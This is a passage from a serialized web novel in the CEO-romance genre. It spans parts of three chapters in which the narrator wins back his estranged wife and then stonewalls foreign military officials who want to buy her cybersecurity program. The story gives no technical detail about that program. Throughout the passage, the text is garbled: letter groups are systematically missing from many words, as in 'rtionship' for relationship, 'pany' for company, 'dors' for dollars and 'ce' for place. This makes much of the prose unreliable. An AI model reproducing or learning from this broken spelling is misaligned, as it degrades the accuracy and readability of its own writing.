    "You can''t take back what you just said, are you ready tomit?" She asked again but this time there was no smile on her face. Her eyes felt cold. It pierced through my heart like a hot knife through butter.


    "I swear on whatever you want me to swear on."


    [Yoooo.]


    The wind sted past us from a blower fan.


    She looked at me.


    While I looked at her.


    As we looked into her eyes, I found her searching for answers. A substantial reason to put her trust in me. After the arse, I was to her previously trying to dictate her life just on a minor difort, now I know that there are boundaries that are not to be crossed with her.


    "I will always stand up and sit, on your directions, If you say east I would dare not move to the west. As I promised, I will forever be your ve ''My Queen''. I wish to uphold the same promise with more substance and forever, and this time I know what is at stake," I spoke up.


    (After all, some words are to be spoken, to make sure the other person hears you as well as understand what you desire to say. Mincing your words in your stomach helps no one in a rtionship.)


    Do not ask me where I learned it from as it was a painful lesson.


    (Whom am I kidding? If this does not work I will bring hell to Matt and Ming Li. But if it works? I really have to make it up to them.)


    "Okay bad wolf, you are on probation period as my ve, so do not expect the perks of the boyfriend or husband. Are we clear here?" She spoke up. Her melodious voice seems to have healed my heart.


    "I will take whatever I can take! Thank you for taking me back."


    "I expect the actions to speak out much louder and clearer than your words. Empty words mean nothing to me."


    She clearly warned me again.


    "I will forever be your ve first, My Queen."


    "Hmm, we will see."


    All this time we had our little conversation, Pierro and Lucy helped us to keep the people at bay.


    "Where to next?" I asked her.


    "Let us wrap up the show here. There is an after-party that I have to attend and Xiao Wei is in the backstage greenroom with other models. I will get him after this here is taken care of."


    "Okay"


    I simply took a ce on her right side.


    "Mr Hu, it seems you weren''t kidding me when you said that you have both legal and moral rights to admire the said model." Ms Kingsman joined us, "Mrs Hu you are really a beauty to behold, I can now confirm why he has zero scandals around him.


    Mrs Hu, if I may confide in you, your husband was very professional throughout the show, only when you walked out on that Runway, did he start to drool like a starved wolf. He was in a super hurry to fly down to home but here, he met you."


    "Thank you Ms Kingsman, for getting him here. This gig was nned all of a sudden. So this whole set-up was a surprise for him.


    What a coincidence that you walked him here! It simply made this moment more special."


    The twodies bonded so easily over a couple of words of dresses and husband and boyfriends. That seemed fairly moreplex but far too easy to pull off.


    But never ask a man to try this trick, because if he is not able to pull it off sessfully, he will get himself killed.


    "Oh dear, I loved your designs, I so wish to buy atleast one piece from the exhibition."Ms Kingsman expressed her yearnings and appreciation towards the design.


    "I am so sorry these dresses are already pledged to the Bellissima as a keepsake, but how about this? I would like to invite you to our ce back in Country C, where I have my studio and I already have a perfect dress for you from my stockpile of collection. It would be a pleasure to host you at our ce," Bai Chang invited her.


    "Really, I would love toe to your ce. It is such an honour, thank you for inviting me," she replied.


    "Please, the pleasure is all mine."


    "Okay then I will leave you two to your own means, after all, you have a lot to catch up with each other. I should not be a third wheel to your meet-cute moments."


    "Ms Kingsman you are such a darling, thank you," I replied and then she walked out of the venue. While Matt apanied her till wherever she wanted.


    "Let''s go backstage to pick up Xiao Wei," Bai Chang reminded me.


    ******


    At Pierro''s Guest House-


    Pierro was kind and understanding enough to give us our space. We will stay here in Country IT for quite some time.


    A quick mention to myself, improve my rtions with Xiao Wei. It appeared when we walked into the backstage green room, together, he appeared least happy to see me there.


    Which was visibly shown to me and my wife duly noted too.


    If I still want to stay in her good books I have to deal with my own son first.


    ''How difficult will it be to win over a four-year-old child? Do not ask me as I am stumped at the same point. Even after four years of head start with my son, he still likes and loves his mother more than me.


    I have no problem with that, let me be clear here, but he treats me like an enemy.


    If he could have his way, I am sure I would be forever exiled from my own home. My son practically loathes me.


    (I know it is a strong word to use against a child but trust me in this, I know this.)


    I think his dear wish is to see me gone far away from him.''


    I walked to the side of the pool, there My Queen was sitting by the side dipping her feet in the pool.


    "Can I get you something?"


    "A ss of warm turmerictte, please," she replied.


    "I will bring it right away".


    I again walked inside and walked to the kitchen to make a turmerictte.


    But the thing is, ''What the hell is turmerictte?''


    Like any other millennial, I turned to google to find out the meaning as well as the direction to make it.


    I just hope it is not as difficult as rocket science.


    (Sigh)


    ''I really suck at being a ve!''


    ------------------------------------------------------


    AUTHOR''s SERIOUS REQUEST- date of issue 25/02/21


    Hey Readers if you are reading this, it means the following notice is still valid-


    I request you all to not read further chapters. First I was not satisfied with what I wrote so currently, I am in process of rewriting my entire stockpile for this month. And as unexpectedly I am facing a major crisis in my real life (my mother is very sick so nursing her has be a full 24-hour job), so please excuse me for the dy. I do not want you all to feel disappointed with the story, so I am uploading a few of the old chapters until I upload the re-edited chapters.


    Please bear with me a little here, I will get this story on track little by little. I ask for your support and patience in return.

 Chapter 116: I am here

    Chapter 116: I am here


    [POV Hu Qiang]


    Day five of seven days exile from Bai Chang-


    I have been drowning myself in the sea of work. It is my way to avoid home. Ever since Bai Chang met the unfortunate ident, due to my guilty consciousness I found my sce in the office. Overworking myself to the ground felt reasonable as well as justified.


    The downside was mostly faced by my subordinates. They had to work overtime with me and they dealt with this hell for three long years. We did progress well over the years, but it was literally apanied by the blood, sweat and tears of all my employees and me.


    They all felt a sense of relief this past few months after Bai Chang woke up. I made sure to spend most of my time with her. To make up for my past stupidity as well as to address my new found love for my wife. I really want to give our rtionship a shot and hence all the fuss.


    But, like the stupid person or as an illiterate in the matters of heart, I made the worst mistake of trying to run my wife''s life and sure enough, she couldn''t stand my acts and kicked me out of her house. While Zhang Wei also made it clear to my parents that the trust level of Bai Chang towards us is at an all-time low. She will only decide her next move depending on our moves. It sure is nerve-racking.


    I looked towards the clock.


    [Tick Tok Tick Tok Tick Tok Tick Tok]


    As the second''s hand moved at its pace I simply calcted the amount of time left of my sentenced exile.


    [Knock Knock]


    "Who''s there?" I asked while I gathered myself.


    "It''s me," Ming Li answered from outside.


    "Come in"


    He walked in while holding an envelope.


    He walked all the way opposite my desk and then simply handed me the envelope.


    "This is?" I prompted him.


    "Your travel schedule for the next few days," he replied.


    I pulled out the papers inside and read through them.


    "So first you will go to Country A, we have two meetings. One is with their Secret Intelligence unit while the second one is with the Chief Senator of the upper house meeting us as representative of the government of Country A, designed as a charity meet.


    Both the meetings are arranged by Matt at our City NY branch. From there we will fly down to Country E across the small pond and meet with Mr Dickenson. The prospect of the meeting will be arranged by them on spot.


    They are cautious about the security code and do not want to over-reach for it until its value is proved."


    "If they will wait till the value is proved, it is more profitable for us. We were giving them something at a lower price but if they want to pay double the amount, then who am I to stop them from doing so?" I stated.


    "You also have a meeting fixed with the security council general of Country I of the middle eastern region. I didn''t expect that we would get this much traction."


    "You know your madame already gave me an exact value that we will make from profits after our sale of this customised security code. Would you care to take a guess?" I asked him in humour.


    "Fifty million dors is my highly conservative but qualitative estimate."


    I simply smiled at him.


    "The estimate she gave was a hundred million US dors by the end of this year."


    "What??" Ming Li had his jaw unhinged at the stated number.


    I simply started to prepare for these meetings as Bai Chang, the original creator of the code would not be there with me. So I have to prepare on all fronts.


    *******


    Day Six of seven days exile from Bai Chang-


    Last evening we took a chartered flight to Country A. Me and Ming Li.


    (Yes this person tagged along with me on the pretence of work. But I know he is here to meet his partner Matt. Their blooming love only adds oil to the burning embers of grief in my heart from being exiled by my wife.)


    We arrived here at City NY, early in the morning. After grabbing a cup of coffee from Starbucks we drove onwards towards our meeting venue and on our way were to pick up Matt from his apartment.


    (Seriously!! Am I here to work or to witness their love?)


    The car slowed down at the downtown Country Club, Bronx.


    A young and handsome caucasian, thin nasal aperture ("nose narrow"), a small mouth, facial angle of 10090, and orthognathism exemplified. He had dark hair on his head with an exposed forehead and pale lips. He looked sharp in his tuxedo, though covered in clothes I am sure they pack a lot of well-toned muscles underneath it.


    (I admired the man''s handsomeness. My rotten luck, here I am admiring someone else''s man while pinning from the separation from my wife. When did love and rtions be so difficult for me?)


    "Wipe that drool off your face now will you?" I advised Ming Li.


    "Boss, I smell something sour and something burning. Are you sure we do not need to bring out the fire extinguisher from the back?"


    "Do you wish to be deported back to the maind?" I asked him through my gritted teeth.


    (I sincerely wished that I could wipe that glee off his face.)


    I looked at my watch.


    There is still one day, sixteen hours, thirty-eight minutes and forty dots two-two seconds left and counting.


    (Hang in there, we will meet soon. I will drag my shameless self and follow around my own wife, if I have to do so.)


    The car gradually stopped and Matt entered the car and rode shotgun.


    Ming Li''s face turned ck.


    While I was overjoyed within my heart I still asked Ming Li, "What happened? Did the cat get your tongue?"


    (Oh the peace I felt at that moment!)


    "Good Morning Sir," Matt greeted me from the front seat.


    "Good Morning Matt. Did you have a good sleep?"


    "Yes sir, a perfectly sound sleep. What about you? Did you have afortable journey?"


    "I wish I could say so. But I had an annoyingpanion who would not shut up all the time we were up in the air. He is your loyal admirer," I added.


    "Oh! Nevermind him, he speaks a lot. He is a real chatterbox. I apologise for your difort," he apologised so politely.


    "Why are you apologising to him? He is being salty as madame threw him out of the house for being insensitive and nosy about her stuff," Ming Li chipped in.


    (I swear to god I will make him pay for all this that he says today at ater date! MING LI just WAIT for it)


    "If you know that he is down, then why are you rubbing salts on his wound? Are you not afraid that he will post you a ce that would be hell for you next time and I won''t fly down to save your sorry a**," Matt replied.


    "Thank you for your support Matt." the only thing is, I am not too sure that he was trying to make me feel good or trying to protect Ming Li''s a** or taking a side jab at me while I am down.


    Well, that is Matt for you. He is excellently eloquent. That is the reason he handles most of ourpanies overseas diplomatic ties.


    "Jokes aside, what are we facing today Matt?" I steered our conversation back to business, otherwise, I will be peeled apart by these two sharks with me.


    "Today we will first meet Senator Murray. The man has served in the Army. He was also sent on a trip to Country AF. Served on the intelligence team for about a year and a half. Came back to the Capitol and ran for the Mayor post in a drive to serve his nation in a better way.


    This man is hard and carries a bit of a reputation for being an advocate for hard measures to limit press freedom andpartmentalisation of information. Words from the lobby have it that he is loved by the Pentagon," he reported.


    "So what are his trigger points?"


    "He had a partner while he was serving in Country AF. His partner met with a terror attack and lost his life in a crossfire between their forces and the terror group. While the major reason behind the incident is a potential intel leak from their forces.


    He is very sensitive to such issues."


    "So he is a double-edged sword. He might benefit us or make us lose our potential buyer in the International market, huh. Matt, what was his partner''s name?" I enquire.


    "His name was Walter; Walter O Harris."


    "Great. Now boys let us put our game face on. We have to get a buyer soon to ensure our own safety. Now we can''t have the national intelligence of Country C breathing down our neck, now shall we?"


    (I can''t let the past repeat itself, all over again!)

 Chapter 117: I am there for you

    Chapter 117: I am there for you


    [POV Hu Qiang]


    Inside the military base-


    I walked through the heavily guarded corridors and stepped into a soundproof room.


    Ming Li walks a step behind me. As we enter the room, we encounter a group of uniform soldiers of middle to high rank sitting behind a desk, representing a panel.


    (They want to y a hard game with me, huh. Let me see how long they can go without begging.)


    "Hello CEO Hu, please have a seat," one of them spoke up as they offered the chair right opposite to them. The whole scenario was a setting from an interrogation room vibe.


    (Tsk!)


    I calmly take my seat and sit on it rxingly.


    "CEO Hu, we are an important government organisation. You arete to this meeting by two and a half hours," a young officer spoke up.


    (Hmmm, trying to earn some brown points from his seniors at the cost of my reputation. Tsk! Tsk! I sneered inside all the time while I kept a cool outlook for others to observe.)


    "Oh! Am Ite? I wasn''t aware that we had a meeting nned for today if the General didn''t ring me up one and a half hours earlier today. He was mad when he got to know about the apparent mix arrangement," I informed them.


    [Bam!]


    Before they could reply, the door opened with a bang, A old man of great vigour walked through the door. His epaulette showed that he holds the General rank in the army.


    The room quieted down. There was pin-drop silence.


    From the corner of my eyes, I looked at the young officer from earlier, who was running his mouth against.


    There were visible beads of sweat rolling down his forehead, expressing his inner turmoil quite transparently.


    The General looked at me and heaved a small sigh of relief. He quicklyposed himself and walked towards me.


    "Hello CEO Hu, it is great to finally meet you in person, pardon the administration team for the mimunication," he stretched his hands out for a shake.


    I took his hands and shook them but I refused toment on his poorly conceived excuse.


    He had a firm grip over our hands while shaking them, almost testing my endurance.


    I refrain from giving any outward reaction only repeating in my mind, I will soon y with this son of a b**ch and dump him like a rag doll.


    While the general tried to crush my hands and failed to get any kind of reaction out of me, he let my hands alone.


    "Are you satisfied with what you see?" I smirked at him.


    "Hump"


    He walked towards the table and sat down right at the centre of the table and asked me to take my seat.


    I follow along without much outward reaction. There is an oppressive silence in the room.


    It is a type of psychological warfare, a really old trick. Whoever breaks the silence first will lose the upper hand in the negotiations.


    I do not attempt to even start small talks and simply close my eyes.


    (While they y around their little games in their heads, I think about how to apologise to my wife?)


    The time passed by and with each passing minute, the tension in that room was palpable.


    Finally, when it was only ten minutes away from the pre-decided time duration of our appointment the General gave in-


    Cough cough!


    The General coughed to sign the start of the appointment. One of hisckey officers stepped in instead, for him.


    "CEO Hu, we would like to arrange some terms with yourpany," he said snobbishly.


    I kept my silence as these conversations are not worth my time.


    I casually look at my watch.


    "CEO Hu we would like to exclusively buy out the cybersecurity program from yourpany or should we say, from you, the coder of this programme. As you have the exclusive rights and copyrights to the programme. When do you find it appropriate to sign the dotted lines?" He kept on making a one-sided conversation.


    My silence emboldened them, they mistook it as my consent. "Then let''s start a talk on the amount for the exclusive buyout. We will not make it too difficult for you. How about thirty million dors? It is surely more than what the market value is for the program? We are being very generous to yourpany, look at it as your contribution to the nation, we will put it in your records and we will-"


    Tu tu tututu. Tu tu tututu.


    My watch rm went off.


    "Thank you, gentlemen, for your time but the appointed time for the meeting is over. As for what you said throughout thesest ten minutes, send minutes of the meeting to your Army Chief before you dare to draw a contract based on it if you want to still live, otherwise, you are wee to take the highway and enjoy the consequences."


    I started to walk towards the exit.


    "CEO Hu, do you think you can waltz out of this establishment as and when you wish to?" The General finally spoke up.


    "You think you can stop me?" I challenged him openly.


    "You want to see me walk out of this ce? Good, then watch!"


    I looked towards Ming Li for the first time during this whole meeting.


    "Do you have it?" I asked him.


    "Yes Boss, that too in HD," he replied.


    "Fine, have you posted it yet?" I asked him casually.


    "Of course boss, all things are on standby, anytime now," he replied.


    By this time the officers inside the room also caught a whiff of something going wrong.


    "CEO Hu, what do you think you are doing right now? Officers hold them back and check them," The Generalmanded.


    "That won''t be necessary, you will-" as I spoke the onendline in the room rang up.


    Ring Ringgggg Ring Rinnnggg


    "Hello, General Han here," the General answered the call.


    "Are you Fu**ing out of your mind now, Let him leave unharmed right now ande directly to my office to report after he leaves," an angry voice from the other side growled and then hung up the call. As the room was already too silent, others in the room were able to hear the caller on the other side of the phone loud and clear.


    After the call, the officers present in the room looked visibly pale due to fright.


    "Is there anything else you want from me?" I asked them. My mood was of course too jovial in contrast to their whitewashed pale faces of fright.


    "No CEO Hu, I will personally walk you out of the base, please follow me," the General said in a depressed voice.


    I did not stop him from doing so and simply walked out of the room without looking back as Ming Li followed me. While the General walked outst from the room.


    Walking out was no problem, as walking out by the Army General himself gave us easy ess as well as attracted quite many eyeballs towards us.


    "CEO Hu, hope we have a sessful deal in near future," He said with a straight face he offered his hand for a handshake.


    Iuded his shamelessness in my heart but we can''t leave without giving them a dose of their own medicine, now can we?


    As we stepped outside the gate of the Military base, I turned around and took hold of his outstretched hands to shake them.


    "General, I am a civilian and I have my civility as well as duty for the nation. To which I contribute in my own way. If you are unaware, let me inform you, my assets and mypany alone earns about five per cent of this nation''s GDP. If I walk out of the country, the nation would immediately plunge towards an economic crisis of the worst kind that it has ever faced in its history".


    As I educated him I also crushed his hands till the point that it suffered a fracture but the cause of it is not obvious. There were beads of sweat on the General''s forehead.


    "It was a pleasure to meet you in person".


    I finally walked out of that ce as my car pulled over in front of us. Ming Li opened the back door of the car, I sat inside and as Ming Li sat shotgun, the car left the General with his flustered face at the gates of the ''Military base and left for the office.


    I was not too concerned for his consequences or if I made a new enemy for myself, as I have lost count of such people as I climbed the corporatedders. It is not false to say that the current Hu Corporation has been established on a pile of corpses of various such obstacles and petty enemies.


    Not everyone is worth my time. I deal with them as and when theye to me just like the moth drawn to the mes.


    They all are drawn to their deaths as they try to mess with me.


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    continue reading tomorrow, everyone!